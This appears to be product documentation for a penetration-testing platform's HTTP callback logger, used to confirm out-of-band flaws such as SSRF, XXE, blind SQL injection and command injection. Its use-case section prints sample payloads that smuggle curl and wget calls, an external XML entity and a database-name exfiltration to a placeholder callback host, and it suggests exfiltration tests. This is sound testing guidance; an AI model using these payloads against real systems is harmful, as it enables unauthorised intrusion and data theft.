Overview
HTTP Request Logger provides callback endpoints that capture incoming HTTP requests, so you can validate out-of-band (OOB) vulnerabilities like SSRF, XXE, blind SQL injection, and command injection.
This feature is sometimes referred to as HTTP Handlers in older documentation.
HTTP Request Logger is an exploit helper tool: it receives callbacks triggered by vulnerable applications to prove exploitation. It does not add data to your Attack Surface and does not generate findings. Captured requests are displayed in a custom report.
How it works
Create a handler
Generate a unique handler with a custom label.
Get the handler URL
Copy the unique callback URL.
Craft payloads
Include the handler URL in your test payloads.
Trigger the vulnerability
Submit payloads to the target application.
Review callbacks
View captured HTTP requests in the handler’s report.
Creating a handler
When creating a handler, provide:
| Field | Description |
|---|
| Label | Unique identifier for the handler (alphanumeric, dashes, underscores, dots) |
After creation, you receive a handler URL in the format:
https://[handler-domain]/l/YOUR_HANDLER_ID/
Use descriptive labels like ssrf-test-1 or xxe-payment-endpoint to easily identify which test triggered each callback.
Captured data
For each HTTP request received, the handler captures:
| Data | Description |
|---|
| Source IP | IP address of the server making the request |
| Request method | HTTP method (GET, POST, etc.) |
| URL parameters | Query string parameters |
| User Agent | User agent header from the request |
| OS | Operating system detected from headers |
| HTTP headers | All request headers |
| Request body | POST body content (text or binary indicator) |
| Timestamp | Date and time of the request |
Handler limits
| Limit | Value |
|---|
| Active duration | 60 days from creation |
| Requests per handler | 100 maximum |
Handlers automatically expire after 60 days. Create a new handler if you need to continue testing.
Use cases
SSRF testing
Test if a server makes outbound requests to attacker-controlled URLs:
https://[handler-domain]/l/YOUR_HANDLER_ID/
Include this URL in parameters that accept URLs (webhooks, image URLs, API endpoints).
XXE testing
Detect XML External Entity injection with external DTD references:
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "https://[handler-domain]/l/YOUR_HANDLER_ID/">
]>
<root>&xxe;</root>
Blind SQL Injection
Confirm SQL injection when no output is visible using database-specific HTTP functions:
-- PostgreSQL
'; COPY (SELECT 'test') TO PROGRAM 'curl https://[handler-domain]/l/YOUR_HANDLER_ID/'; --
-- MySQL (with FILE privilege)
SELECT LOAD_FILE(CONCAT('\\\\', (SELECT database()), '.YOUR_HANDLER_ID.[handler-domain]\\a'));
Command injection
Verify command execution on the target server:
; curl https://[handler-domain]/l/YOUR_HANDLER_ID/
| wget https://[handler-domain]/l/YOUR_HANDLER_ID/ -O /dev/null
DNS rebinding / TOCTOU
Test time-of-check to time-of-use vulnerabilities by monitoring multiple requests.
HTTP Request Logger may receive requests containing sensitive data from vulnerable applications. Handle captured data responsibly and delete after testing.
Follow-up actions
After capturing callbacks:
- Document the finding: Include callback evidence in your security report
- Identify internal infrastructure: Analyze source IPs and headers for internal network details
- Test data exfiltration: Attempt to extract sensitive data via the callback channel
- Check for chaining: Combine with other vulnerabilities (e.g., SSRF to internal services)
- Run Website Scanner: Find additional injection points
- Use Sniper: Test for known SSRF and XXE vulnerabilities